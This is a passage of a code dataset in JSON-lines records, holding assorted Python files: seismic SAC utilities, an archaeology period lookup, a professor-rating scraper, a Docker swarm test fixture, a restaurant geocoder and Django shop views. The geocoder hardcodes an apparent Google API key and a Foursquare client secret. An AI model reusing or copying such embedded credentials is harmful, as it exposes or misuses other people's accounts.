for {}: {},{},{},{},{},{}'\\\n .format(fpath, knetwk, kstnm, kcmpnm, stlo, stla, stel))\n s += \"rh %s \\n\" %(fpath)\n s += \"ch stlo %s stla %s \\n\" %(stlo, stla)\n s += \"ch stel %s \\n\" %(stel)\n if knetwk: s += \"ch knetwk %s \\n\" %(knetwk)\n if kstnm: s += \"ch kstnm %s \\n\" %(kstnm)\n if kcmpnm: s += \"ch kcmpnm %s \\n\" %(kcmpnm)\n s += \"wh \\n\"\n s += \"q \\n\"\n p.communicate(s.encode())\n\n\ndef ch_event(fpath, evla, evlo, evdp, mag, tn=[]):\n p = subprocess.Popen(['sac'], stdin=subprocess.PIPE)\n s = \"wild echo off \\n\"\n s += \"rh %s \\n\" %(fpath)\n s += \"ch evlo %s evla %s \\n\" %(evlo, evla)\n s += \"ch evdp %s \\n\" %(evdp)\n s += \"ch mag %s \\n\" %(mag)\n for i,ti in enumerate(tn):\n s += \"ch t%s %s \\n\" %(i,ti)\n s += \"wh \\n\"\n s += \"q \\n\"\n p.communicate(s.encode())\n\n\ndef seed2sac(fpath, out_dir=None):\n if out_dir: subprocess.call(['rdseed', '-dfq', fpath, out_dir])\n else: subprocess.call(['rdseed', '-df', fpath])\n\n\ndef mseed2sac(fpath):\n subprocess.call(['mseed2sac', '-O', fpath])\n","sub_path":"sac.py","file_name":"sac.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"216218635","text":"# Module to create standard periods from years or other period terms: it requires four inputs:\n# the name of the HER, and the lists of periods, start and end dates. These should be python\n# list objects.\n\ndef lookup(her_name, period_list, start_list, end_list):\n\t\n\toutlist = []\n\t\n\t# First, we need to define our break points (for the specific HER if it uses 700 BC for the BA to IA transition).\n\t# There actually seem to be rather a lot of them...\n\t\n\ther_set = set(['Devon','Greater Manchester','Central Bedfordshire and Luton','Birmingham','Coventry','Lancashire','NorthLincolnshire','NorthYorkshire','Sandwell','Winchester','Southampton','WestBerkshire','Isle of Wight'])\n\tif her_name in her_set:\n\t\tBA_to_IA = -700\n\telse:\n\t\tBA_to_IA = -800\n\tBA_end = -700\n\tIA_start = -800\n\tIA_to_RO = 43\n\tRO_to_EM = 410\n\tEM_end = 1066\n\t\t\t\n\t# Next, we define the sets of period terms that might relate to our six periods (lower case).\n\t# The ones with closing but no opening brackets aren't a mistake, the brackets don't seem to be opened in the HER data (Wiltshire & Swindon).\n\tPR_terms = set(['prehistoric (unknown)','prehistoric','later prehistoric','late prehistoric'])\n\tBA_terms = set(['prehistoric (bronze age)','prehistoric (late bronze age)','prehistoric (middle bronze age)','bronze age','early bronze age','middle bronze age','late bronze age','earlier bronze age','later bronze age'])\n\tIA_terms = set(['prehistoric (early iron age)','prehistoric (iron age)','prehistoric (late iron age)','iron age','lpria','early iron age','middle iron age','late iron age','earlier iron age','later iron age','ia','mia'])\n\tRO_terms = set(['roman (antonine)','roman (aurelian)','roman (claudian)','roman (flavian)','roman (gordian)','roman (hadrianic)','roman (marcus aurelius)','roman (nero)','roman (romano british)','roman (severan)','roman (tiberius)','roman (trajanic)','roman (unknown)','roman (valens)','roman','c1','c2','c3','c4','1st century','2nd century','3rd century','4th century','early roman','late roman','earlier roman','later roman','ro'])\n\tEM_terms = set(['early medieval (saxon/anglian)','early medieval (scandinavian)','early medieval (unknown)','early medieval','saxon','anglian','viking','post-roman','sub-roman','anglo-saxon','dark age','dark ages','earlier medieval','c5','c6','c7','c8','c9','c10','c11','ls','ems'])\n\tUN_terms = set(['unknown (unknown)','uncertain','unknown','unknown date'])\n\t\n\t# if there is data in the period list we will use that (if start list is empty)_:\n\tif len(period_list) > 0 and len(start_list) == 0:\n\t\tfor x in period_list:\n\t\t\tcurrent = x.lower()\n\t\t\tif current in PR_terms:\n\t\t\t\toutlist.append('Prehistoric')\n\t\t\tif current in BA_terms:\n\t\t\t\toutlist.append('Bronze Age')\n\t\t\tif current in IA_terms:\n\t\t\t\toutlist.append('Iron Age')\n\t\t\tif current in RO_terms:\n\t\t\t\toutlist.append('Roman')\n\t\t\tif current in EM_terms:\n\t\t\t\toutlist.append('Early medieval')\n\t\t\tif current in UN_terms:\n\t\t\t\toutlist.append('Uncertain')\n\t\tif len(outlist) == 0: # If the list is still empty, it must be a bad date...\n\t\t\toutlist.append('BAD DATE!')\n\t# if there is no data in the period list, we will use the start and end dates\n\t# this assumes that they are ordered in order of association:\n\telse:\n\t\txnum = 0\n\t\tfor x in start_list:\n\t\t\tstart = x\n\t\t\tend = end_list[xnum]\n\t\t\tif start == None or start == 'None' or '\\n' in start or start == '' or end == '' or end == None or end == 'None':\n\t\t\t\toutlist.append('Uncertain')\n\t\t\telif start[-1:].isdigit() == True and end[-1:].isdigit() == True: # Otherwise turn it into an integer (testing it is a digit first)\n\t\t\t\tstart = int(start)\n\t\t\t\tend = int(end)\n\t\t\t\tif end < start: # If the end date is lower than the start date, they must be a bad date...\n\t\t\t\t\toutlist.append('BAD DATE!')\n\t\t\t\telse:\n\t\t\t\t\tif start == 0 and end == 0:\n\t\t\t\t\t\toutlist.append('Uncertain')\n\t\t\t\t\telif start < -3000 and end > EM_end:\n\t\t\t\t\t\toutlist.append('Uncertain')\n\t\t\t\t\telif end <= BA_end and start >= -3000: # 3000 BC is actually before the Bronze Age, but I just want to separate out all of those entries that go back to -500000 or something\n\t\t\t\t\t\toutlist.append('Bronze Age')\n\t\t\t\t\telif start >= EM_end or (start == 0 and end >= EM_end):\n\t\t\t\t\t\toutlist.append('BAD DATE!')\n\t\t\t\t\telif end <= BA_to_IA and start < -3000:\n\t\t\t\t\t\toutlist.append('Prehistoric')\n\t\t\t\t\telif start < BA_to_IA and end <= IA_to_RO:\n\t\t\t\t\t\toutlist.append('Prehistoric')\n\t\t\t\t\telif start >= IA_start and end <= IA_to_RO:\n\t\t\t\t\t\toutlist.append('Iron Age')\n\t\t\t\t\telif start >= IA_to_RO and end <= RO_to_EM:\n\t\t\t\t\t\toutlist.append('Roman')\n\t\t\t\t\telif start >= RO_to_EM:\n\t\t\t\t\t\toutlist.append('Early medieval')\n\t\t\t\t\telif start < BA_to_IA and end <= RO_to_EM:\n\t\t\t\t\t\toutlist.append('Prehistoric; Roman')\n\t\t\t\t\telif start < IA_to_RO and end <= RO_to_EM:\n\t\t\t\t\t\toutlist.append('Iron Age; Roman')\n\t\t\t\t\telif start >= IA_to_RO and end > RO_to_EM:\n\t\t\t\t\t\toutlist.append('Roman; Early medieval')\n\t\t\t\t\telif start < BA_to_IA and end > RO_to_EM:\n\t\t\t\t\t\toutlist.append('Prehistoric; Roman; Early medieval')\n\t\t\t\t\telif start < IA_to_RO and end > RO_to_EM:\n\t\t\t\t\t\toutlist.append('Iron Age; Roman; Early medieval')\n\t\t\t\t\telse:\n\t\t\t\t\t\toutlist.append('Uncertain')\n\t\t\telse: # Otherwise assume it is a bad date...\n\t\t\t\toutlist.append('BAD DATE!')\n\t\t\txnum += 1\n\t\n\treturn outlist","sub_path":"period_lookup.py","file_name":"period_lookup.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"407799420","text":"import requests\r\nimport json\r\nimport math\r\n\r\n# reference : https://github.com/Rodantny/Rate-My-Professor-Scraper-and-Search/blob/master/RMPClass.py#L24\r\n\r\ndef getProfList(uni_id):\r\n # get number of professors in the university\r\n l = []\r\n page = requests.get(\r\n \"http://www.ratemyprofessors.com/filter/professor/?&page=1&filter=teacherlastname_sort_s+asc&query=*%3A*&queryoption=TEACHER&queryBy=schoolId&sid=\" + str(\r\n uni_id)) # get request for page\r\n temp_jsonpage = json.loads(page.content)\r\n num_of_prof = temp_jsonpage['remaining'] + 20 # get the number of professors \r\n \r\n \r\n num_of_pages = math.ceil(num_of_prof / 20)\r\n i = 1\r\n while (i <= num_of_pages):# the loop insert all professor into list\r\n page = requests.get(\"http://www.ratemyprofessors.com/filter/professor/?&page=\" + str(\r\n i) + \"&filter=teacherlastname_sort_s+asc&query=*%3A*&queryoption=TEACHER&queryBy=schoolId&sid=\" + str(\r\n uni_id))\r\n temp_jsonpage = json.loads(page.content)\r\n temp_list = temp_jsonpage['professors']\r\n l.extend(temp_list)\r\n i += 1\r\n return l\r\n\r\nmy_list = getProfList(1407)\r\n# write professor list to json file\r\nwith open('data.json', 'w') as outfile:\r\n json.dump(my_list, outfile)\r\n \r\n# get list of departments \r\ndep_req = requests.get('https://www.ratemyprofessors.com/teacher/getDepartmentListFromSchool?sid=1407')\r\njson_dep = json.loads(dep_req.content)\r\n \r\n# calcualate average score for each department \r\ndep_Dict = {} \r\nfor dep_name in json_dep['departments']:\r\n total = 0\r\n count = 0\r\n for i in my_list:\r\n if i['tDept'] == dep_name['name']: \r\n if i['overall_rating'] != 'N/A': \r\n total += float(i['overall_rating'])\r\n count += 1 \r\n if count == 0:\r\n continue\r\n dep_avg_score = total / count\r\n dep_Dict[dep_name['name']] = dep_avg_score\r\n \r\n# simple visualization in matplotlib \r\nimport matplotlib.pyplot as plt\r\nD = dep_Dict\r\nplt.bar(range(len(D)), list(D.values()), align='center')\r\nplt.xticks(range(len(D)), list(D.keys()), rotation=80)","sub_path":"getProfList.py","file_name":"getProfList.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"37550986","text":"north = '⍓'\nsouth = '⍌'\neast = '⍄'\nwest = '⍃'\n\ndef render_car(dir):\n if(dir == 'N'):\n return north\n elif(dir == 'S'):\n return south\n elif(dir == 'E'):\n return east\n elif(dir == 'W'):\n return west\n else:\n return north\n\n\ndef render_grid(car):\n result = ''\n (c_x, c_y, c_d) = car\n til = range(0,10)\n for y in til:\n row = str(y)\n for x in til:\n if(c_x == x and c_y == y):\n cell = render_car(c_d)\n else:\n cell = '_'\n row = row + ' ' + cell \n if(y == 0):\n result = result + ' '+' '.join(map(str,list(til))) \n result = result +'\\n'+row\n row = ''\n return result\n","sub_path":"render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"321656942","text":"import os\nimport cv2\nimport json\n\ndef odgt(img_path):\n seg_path = img_path.replace('images','annotations')\n seg_path = seg_path.replace('.jpg','.png')\n \n if os.path.exists(seg_path):\n img = cv2.imread(img_path)\n h, w, _ = img.shape\n\n odgt_dic = {}\n odgt_dic[\"fpath_img\"] = img_path\n odgt_dic[\"fpath_segm\"] = seg_path\n odgt_dic[\"width\"] = h\n odgt_dic[\"height\"] = w\n return odgt_dic\n else:\n # print('the corresponded annotation does not exist')\n # print(img_path)\n return None\n\n\nif __name__ == \"__main__\":\n modes = ['train','val']\n saves = ['metal_training.odgt', 'metal_validation.odgt']\n\n for i, mode in enumerate(modes):\n save = saves[i]\n dir_path = f\"/home/rico-li/Job/豐興鋼鐵/data/clean_data_20frames/U100/images/{mode}\"\n img_list = os.listdir(dir_path)\n img_list.sort()\n img_list = [os.path.join(dir_path, img) for img in img_list]\n\n with open(f'/home/rico-li/Job/豐興鋼鐵/semantic-segmentation-pytorch/data/{save}', mode='wt', encoding='utf-8') as myodgt:\n for i, img in enumerate(img_list):\n a_odgt = odgt(img)\n if a_odgt is not None:\n myodgt.write(f'{json.dumps(a_odgt)}\\n')\n ","sub_path":"odgt_maker.py","file_name":"odgt_maker.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"612990762","text":"import os\nimport pickle\nimport re\nfrom collections import Counter\nimport numpy as np\n\ndef load_data(path, encoding='utf-8'):\n\n input_file = os.path.join(path)\n with open(input_file, \"r\", encoding=encoding) as f:\n data = f.read()\n return data\n\ndef clean_str(string):\n\n string = re.sub(r\"[^가-힣A-Za-z0-9(),!?\\'\\`]\", \" \", string)\n string = re.sub(r\"\\'s\", \" \\'s\", string)\n string = re.sub(r\"\\'ve\", \" \\'ve\", string)\n string = re.sub(r\"n\\'t\", \" n\\'t\", string)\n string = re.sub(r\"\\'re\", \" \\'re\", string)\n string = re.sub(r\"\\'d\", \" \\'d\", string)\n string = re.sub(r\"\\'ll\", \" \\'ll\", string)\n string = re.sub(r\",\", \" , \", string)\n string = re.sub(r\"!\", \" ! \", string)\n string = re.sub(r\"\\(\", \" \\( \", string)\n string = re.sub(r\"\\)\", \" \\) \", string)\n string = re.sub(r\"\\?\", \" \\? \", string)\n string = re.sub(r\"\\s{2,}\", \" \", string)\n return string.strip().lower()\n\ndef create_lookup_tables(text):\n\n vocab = set(text)\n vocab_to_int = {c : i for i, c in enumerate(vocab)}\n int_to_vocab = dict(enumerate(vocab))\n return vocab_to_int, int_to_vocab\n\ndef preprocess_and_save_data(dataset_path, pickle_path, create_lookup_tables, encoding='utf-8'):\n\n text = load_data(dataset_path, encoding)\n #text = clean_str(text)\n vocab_to_int, int_to_vocab = create_lookup_tables(text)\n int_text = np.array([vocab_to_int[c] for c in text], dtype=np.int32)\n print(len(int_text))\n with open(pickle_path, 'wb') as f:\n pickle.dump((int_text, vocab_to_int, int_to_vocab), f)\n\n\ndef load_preprocess(pickle_path):\n\n with open(pickle_path, mode='rb') as f:\n return pickle.load(f)\n\ndef explore_data(text):\n\n view_sentence_range = (0, 50)\n print('Dataset Stats\\n')\n print('Roughly the number of unique words: {}'.format(len({word: None for word in text.split()})))\n scenes = text.split('\\n\\n\\n')\n print('Number of scenes: {}'.format(len(scenes)))\n sentence_count_scene = [scene.count('\\n') for scene in scenes]\n print('Average number of sentences in each scene: {}'.format(np.average(sentence_count_scene)))\n\n sentences = [sentence for scene in scenes for sentence in scene.split('\\n')]\n print('Number of lines: {}'.format(len(sentences)))\n word_count_sentence = [len(sentence.split()) for sentence in sentences]\n print('Average number of words in each line: {}'.format(np.average(word_count_sentence)))\n print()\n print('The sentences {} to {}:'.format(*view_sentence_range))\n print('\\n'.join(text.split('\\n')[view_sentence_range[0]:view_sentence_range[1]]))\n\ndef next_batch(arr, batch_size, seq_length):\n\n no_batches = len(arr) // (batch_size * seq_length)\n arr = arr[:no_batches * batch_size * seq_length]\n arr = arr.reshape((batch_size,-1))\n\n for i in range(0, arr.shape[1], seq_length):\n x = arr[:, i:i+seq_length]\n y = np.zeros_like(x)\n y[:, :-1], y[:, -1] = x[:, 1:], x[:, 0]\n yield x, y\n\n\nif __name__ == '__main__':\n\n encoding = \"ISO-8859-1\"#'utf-8'\n script = input('Enter Name of script to preprocess: ')\n path = './data/' + script + '.txt'\n text = load_data(path, encoding)\n explore_data(text)\n pickle_path = './model/' + script + '/' + script + '_preprocess.p'\n preprocess_and_save_data(path, pickle_path, create_lookup_tables, encoding)","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"82691846","text":"# pylint: disable=redefined-outer-name\n# pylint: disable=unused-argument\n# pylint: disable=unused-variable\n\nimport logging\nimport subprocess\nfrom pprint import pformat\nfrom typing import Any, Dict, List\n\nimport pytest\nfrom docker import DockerClient\nfrom docker.models.services import Service\nfrom tenacity import Retrying, before_log, stop_after_attempt, wait_fixed\n\npytest_plugins = [\n \"pytest_simcore.docker_compose\",\n \"pytest_simcore.docker_registry\",\n \"pytest_simcore.docker_swarm\",\n \"pytest_simcore.minio_service\",\n \"pytest_simcore.postgres_service\",\n \"pytest_simcore.rabbit_service\",\n \"pytest_simcore.repository_paths\",\n \"pytest_simcore.simcore_webserver_service\",\n \"pytest_simcore.tmp_path_extra\",\n \"pytest_simcore.traefik_service\",\n]\nlog = logging.getLogger(__name__)\n\n\n# CORE stack\n\n\n@pytest.fixture(scope=\"module\")\ndef core_services_selection(simcore_docker_compose: Dict) -> List[str]:\n ## OVERRIDES packages/pytest-simcore/src/pytest_simcore/docker_compose.py::core_services_selection\n # select ALL services for these tests\n return list(simcore_docker_compose[\"services\"].keys())\n\n\n@pytest.fixture(scope=\"module\")\ndef core_stack_name(docker_stack: Dict) -> str:\n return docker_stack[\"stacks\"][\"core\"][\"name\"]\n\n\n@pytest.fixture(scope=\"module\")\ndef core_stack_compose(\n docker_stack: Dict, simcore_docker_compose: Dict\n) -> Dict[str, Any]:\n # verifies core_services_selection\n assert set(docker_stack[\"stacks\"][\"core\"][\"compose\"][\"services\"]) == set(\n simcore_docker_compose[\"services\"]\n )\n return docker_stack[\"stacks\"][\"core\"][\"compose\"]\n\n\n# OPS stack\n\n\n@pytest.fixture(scope=\"module\")\ndef ops_services_selection(ops_docker_compose: Dict) -> List[str]:\n # select ALL services for these tests\n return list(ops_docker_compose[\"services\"].keys())\n\n\n@pytest.fixture(scope=\"module\")\ndef ops_stack_name(docker_stack: Dict) -> str:\n return docker_stack[\"stacks\"][\"ops\"][\"name\"]\n\n\n@pytest.fixture(scope=\"module\")\ndef ops_stack_compose(docker_stack: Dict, ops_docker_compose: Dict):\n # verifies ops_services_selection\n assert set(docker_stack[\"stacks\"][\"ops\"][\"compose\"][\"services\"]) == set(\n ops_docker_compose[\"services\"]\n )\n return docker_stack[\"stacks\"][\"core\"][\"compose\"]\n\n\n# time measured from command 'up' finished until *all* tasks are running\nMAX_TIME_TO_DEPLOY_SECS = 60\n\n\n@pytest.fixture(scope=\"module\")\ndef deployed_simcore_stack(\n core_stack_name: str, core_stack_compose: Dict, docker_client: DockerClient\n) -> List[Service]:\n\n # NOTE: the goal here is NOT to test time-to-deplopy but\n # rather guaranteing that the framework is fully deployed before starting\n # tests. Obviously in a critical state in which the frameworks has a problem\n # the fixture will fail\n\n try:\n for attempt in Retrying(\n wait=wait_fixed(MAX_TIME_TO_DEPLOY_SECS),\n stop=stop_after_attempt(5),\n before=before_log(log, logging.WARNING),\n ):\n with attempt:\n for service in docker_client.services.list():\n for task in service.tasks():\n # NOTE: Could have been restarted from latest test parameter, accept as well complete\n assert task[\"Status\"][\"State\"] in (\n task[\"DesiredState\"],\n \"complete\",\n ), (\n f\"{service.name} still not ready or complete. Expected \"\n f\"desired_state[{task['DesiredState']}] but got \"\n f\"status_state[{task['Status']['State']}]). Details:\"\n f\"\\n{pformat(task)}\"\n )\n\n finally:\n subprocess.run(f\"docker stack ps {core_stack_name}\", shell=True, check=False)\n # logs table like\n # ID NAME IMAGE NODE DESIRED STATE CURRENT STATE ERROR\n # xbrhmaygtb76 simcore_sidecar.1 itisfoundation/sidecar:latest crespo-wkstn Running Running 53 seconds ago\n # zde7p8qdwk4j simcore_rabbit.1 itisfoundation/rabbitmq:3.8.0-management crespo-wkstn Running Running 59 seconds ago\n # f2gxmhwq7hhk simcore_postgres.1 postgres:10.10 crespo-wkstn Running Running about a minute ago\n # 1lh2hulxmc4q simcore_director.1 itisfoundation/director:latest crespo-wkstn Running Running 34 seconds ago\n # ...\n\n # TODO: find a more reliable way to list services in a stack\n core_stack_services: List[Service] = [\n service\n for service in docker_client.services.list()\n if service.name.startswith(f\"{core_stack_name}_\")\n ] # type: ignore\n\n assert (\n core_stack_services\n ), f\"Expected some services in core stack '{core_stack_name}'\"\n\n assert len(core_stack_compose[\"services\"].keys()) == len(core_stack_services)\n\n return core_stack_services\n","sub_path":"tests/swarm-deploy/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":5164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"314214830","text":"\"\"\"\nResursively find the max left and right length, then update the max length\n\"\"\"\nclass Solution(object):\n def diameterOfBinaryTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n if not root:\n return 0\n self.maxLen = 0\n self.dfs(root)\n\n return self.maxLen\n \n def dfs(self, root):\n left = right = 0\n if root.left:\n left = self.dfs(root.left) + 1\n if root.right:\n right = self.dfs(root.right) + 1\n self.maxLen = max(left + right, self.maxLen)\n return max(left, right)","sub_path":"solution/python/543.py","file_name":"543.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"121917559","text":"import httplib2\nimport json, requests\nimport sys\nimport codecs\nsys.stdout = codecs.getwriter('utf8')(sys.stdout)\nsys.stderr = codecs.getwriter('utf8')(sys.stderr)\n\ndef getGeocodeLocation(inputString):\n google_api_key = \"AIzaSyDhbfNoX5i7euOcHdpjZ9EMJYdbR1GWlxo\"\n locationString = inputString.replace(\" \", \"+\")\n url = ('https://maps.googleapis.com/maps/api/geocode/json?address={0}&key={1}'.format(locationString, google_api_key))\n h = httplib2.Http()\n response, content = h.request(url, 'GET')\n result = json.loads(content)\n latitude = result['results'][0]['geometry']['location']['lat']\n longitude = result['results'][0]['geometry']['location']['lng']\n return(latitude, longitude)\n\ndef findARestaurant(mealType, locationString):\n location = getGeocodeLocation(locationString)\n url = 'https://api.foursquare.com/v2/venues/explore'\n params = dict(\n client_id='GZO5GCT3V1PK0WMYN35JMQXTL4Q0BPVGPJWERUN50MF5IS0K',\n client_secret='I23U3EVRZIBSPD0KS2LAAENVVPVXLZZQ1I4OSL5CZEE04W1A',\n v='20180323',\n ll='{0},{1}'.format(location[0], location[1]),\n query=mealType,\n limit=1\n )\n resp = requests.get(url=url, params=params)\n data = json.loads(resp.text)\n\n venue = data['response']['groups'][0]['items'][0]['venue']\n venueAddress = venue['location']['formattedAddress']\n\n if venue:\n photoParams = dict(\n client_id='GZO5GCT3V1PK0WMYN35JMQXTL4Q0BPVGPJWERUN50MF5IS0K',\n client_secret='I23U3EVRZIBSPD0KS2LAAENVVPVXLZZQ1I4OSL5CZEE04W1A',\n v='20180323'\n )\n photosUrl = 'https://api.foursquare.com/v2/venues/{0}/photos'.format(venue['id'])\n photoResp = requests.get(photosUrl, params=photoParams)\n photoData = json.loads(photoResp.text)\n if photoData['response']['photos']['count'] != 0:\n photo = photoData['response']['photos']['items'][0]\n photoUrl = '{0}300x300{1}'.format(photo['prefix'], photo['suffix'])\n else:\n photoUrl = 'https://igx.4sqi.net/img/general/300x300/default.jpg'\n\n sys.stdout.write(venue['name'] + '\\n')\n for line in venueAddress:\n sys.stdout.write(line + '\\n')\n\n results = dict(\n name=venue['name'],\n address=venueAddress,\n image=photoUrl\n )\n\n return results\n\n else:\n print(\"No results found\")\n return None","sub_path":"puppies/geocode.py","file_name":"geocode.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"118811556","text":"#!/usr/bin/env python\n\nimport wx_sdk\nimport json\nimport os\nimport time\nimport datetime\n\npath = '/home/dmr/.cache/weather.json'\n\n\ndef isExit():\n if not os.path.exists(path):\n return True\n filetime = time.strftime(\n '%Y-%m-%d-%H', time.localtime(os.stat(path).st_mtime))\n today = datetime.datetime.now().strftime('%Y-%m-%d-%H')\n if today.__eq__(filetime):\n return False\n return True\n\n\ndef getWeather():\n if isExit():\n url = 'https://way.jd.com/jisuapi/weather'\n params = {\n 'city': '杭州',\n 'cityid': '',\n 'citycode': '',\n 'appkey': '7ec3e4137c89df841fc4d5cf996b03c8'\n }\n r = wx_sdk.wx_post_req(url, params)\n try:\n f = open(path, 'w')\n f.write(r.text)\n f.close()\n except:\n print('写缓存错误')\n try:\n fp = open(path, 'r')\n text = fp.read()\n fp.close()\n all = json.loads(text)\n caseFormat(all)\n except:\n print('读缓存错误')\n\n\ndef caseFormat(all):\n try:\n days = all['result']['result']['daily']\n night = days[0]['night']\n day = days[0]['day']\n\n templow = night['templow']\n temphigh = day['temphigh']\n dayWeather = day['weather']\n # nightWeather = night['weather']\n # WindPower = day['windpower']\n # w = {'晴': '', '多云': '', '阴': '', '阵雨': '', '雷阵雨': '',\n # '雷阵雨伴有冰雹': '', '雨夹雪': '', '小雨': '', '中雨': '',\n # '大雨': '', '暴雨': '', '大暴雨': '', '特大暴雨': '',\n # '阵雪': '', '小雪': '', '中雪': '', '大雪': '',\n # '暴雪': '', '雾': '', '冻雨': '', '沙尘暴': '',\n # '小雨-中雨': '', '中雨-大雨': '', '大雨-暴雨': '',\n # '暴雨-大暴雨': '', '大暴雨-特大暴雨': '', '小雪-中雪': '',\n # '中雪-大雪': '<++>', '大雪-暴雪': '<++>', '浮尘': '<++>',\n # '扬沙': '<++>', '强沙尘暴': '<++>', '浓雾': '<++>', '强浓雾': '<++>',\n # '霾': '<++>', '中毒霾': '<++>', '重度霾': '<++>', '严重霾': '<++>',\n # '大雾': '<++>', '特强浓雾': '<++>', '无': '', '雨': '', '雪': '<++>'}\n Temp = str(templow) + '~' + str(temphigh) + '糖 ' + dayWeather\n print(Temp)\n except:\n print(all['msg'])\n\n\ngetWeather()\n","sub_path":"polybar/polybar-scripts/weather/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"145580797","text":"from django.shortcuts import render\nfrom home.models import Product\nfrom math import ceil\nfrom django.shortcuts import render,HttpResponse,redirect\nfrom datetime import datetime\nfrom home.models import Contact,Orders,OrderUpdate,Blogpost\nfrom django.contrib import messages\nimport json\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\n# from home.models import Product\n# from math import ceil\n\n# Create your views here.\ndef index(request):\n return render(request,'index.html')\n\ndef aboutus(request):\n return render(request,'aboutus.html')\n\ndef guide(request):\n myposts= Blogpost.objects.all()\n print(myposts)\n return render(request,'guide.html',{'myposts': myposts})\n\n\ndef blockpost(request,id):\n post = Blogpost.objects.filter(post_id = id)[0]\n print(post)\n return render(request,'blockpost.html',{'post':post})\n\ndef contact(request):\n thank=False\n if request.method ==\"POST\":\n name=request.POST.get('name')\n phone=request.POST.get('phone')\n email=request.POST.get('email')\n desc=request.POST.get('desc')\n contact=Contact(name=name, email=email,phone=phone,desc=desc,date=datetime.today())\n contact.save()\n thank=True\n return render(request,'contact.html',{'thank':thank})\n \n\ndef napal(request):\n products= Product.objects.all()\n allProds=[]\n catprods= Product.objects.values('category', 'id')\n cats= {item[\"category\"] for item in catprods}\n for cat in cats:\n prod=Product.objects.filter(category=cat)\n n = len(prod)\n nSlides = n // 4 + ceil((n / 4) - (n // 4))\n allProds.append([prod, range(1, nSlides), nSlides])\n\n params={'allProds':allProds } \n return render(request,'napal.html',params)\n\n\ndef productView(request, myid):\n product = Product.objects.filter(id=myid)\n return render(request, 'productView.html', {'product':product[0]})\n\n\n\n\ndef checkout(request):\n if request.method ==\"POST\":\n items_json=request.POST.get('itemsJson')\n amount=request.POST.get('amount')\n name=request.POST.get('name')\n email=request.POST.get('email')\n city=request.POST.get('city')\n state=request.POST.get('state')\n zip_code=request.POST.get('zip_code')\n phone=request.POST.get('phone')\n date=request.POST.get('date')\n order=Orders(items_json=items_json,name=name, email=email,city=city,state=state,zip_code=zip_code,phone=phone,amount=amount)\n order.save()\n update= OrderUpdate(order_id= order.order_id, update_desc=\"Your Guide will update the message\")\n update.save()\n thank = True\n id = order.order_id\n return render(request, 'checkout.html', {'thank':thank, 'id': id})\n return render(request, 'checkout.html')\n\n\n\ndef tracker(request):\n if request.method==\"POST\":\n orderId = request.POST.get('orderId', '')\n email = request.POST.get('email', '')\n try:\n order = Orders.objects.filter(order_id=orderId, email=email)\n if len(order)>0:\n update = OrderUpdate.objects.filter(order_id=orderId)\n updates = []\n for item in update:\n updates.append({'text': item.update_desc, 'time': item.timestamp})\n response = json.dumps({\"status\":\"success\", \"updates\": updates, \"itemsJson\": order[0].items_json}, default=str)\n return HttpResponse(response)\n else:\n return HttpResponse('{\"status\":\"noitem\"}')\n except Exception as e:\n return HttpResponse('{\"status\":\"error\"}')\n return render(request, 'tracker.html')\n\n\n\ndef searchMatch(query, item):\n '''return true only if query matches the item'''\n if query in item.desc.lower() or query in item.product_name.lower() or query in item.category.lower():\n return True\n else:\n return False\n\ndef search(request):\n query = request.GET.get('search')\n allProds = []\n catprods = Product.objects.values('category', 'id')\n cats = {item['category'] for item in catprods}\n for cat in cats:\n prodtemp = Product.objects.filter(category=cat)\n prod = [item for item in prodtemp if searchMatch(query.lower(), item)]\n\n n = len(prod)\n nSlides = n // 4 + ceil((n / 4) - (n // 4))\n if len(prod) != 0:\n allProds.append([prod, range(1, nSlides), nSlides])\n params = {'allProds': allProds, \"msg\": \"\"}\n if len(allProds) == 0 or len(query)<4:\n params = {'msg': \"Please make sure to enter relevant search query\"}\n return render(request, 'search.html', params)\n\n\n\n\ndef handleSignUp(request):\n if request.method==\"POST\":\n # Get the post parameters\n username=request.POST['username']\n email=request.POST['email1']\n fname=request.POST['fname']\n lname=request.POST['lname']\n pass1=request.POST['pass1']\n pass2=request.POST['pass2']\n\n # check for errorneous input\n if len(username)<10:\n thank3=True\n return render(request,'index.html',{'thank3':thank3})\n # messages.error(request, \" Your user name must be under 10 characters\")\n # return redirect('/')\n\n if not username.isalnum():\n thank4=True\n return render(request,'index.html',{'thank4':thank4})\n # messages.error(request, \" User name should only contain letters and numbers\")\n # return redirect('/')\n if (pass1!= pass2):\n thank5=True\n return render(request,'index.html',{'thank5':thank5})\n # messages.error(request, \" Passwords do not match\")\n # return redirect('/')\n \n # Create the user\n myuser = User.objects.create_user(username, email, pass1)\n myuser.first_name= fname\n myuser.last_name= lname\n myuser.save()\n thank6=True\n return render(request,'index.html',{'thank6':thank6})\n # messages.success(request, \" Your iCoder has been successfully created\")\n # return redirect('/')\n\n else:\n return HttpResponse(\"page not found\")\n\n\n\n\ndef handeLogin(request):\n if request.method==\"POST\":\n # Get the post parameters\n loginusername=request.POST['loginusername']\n 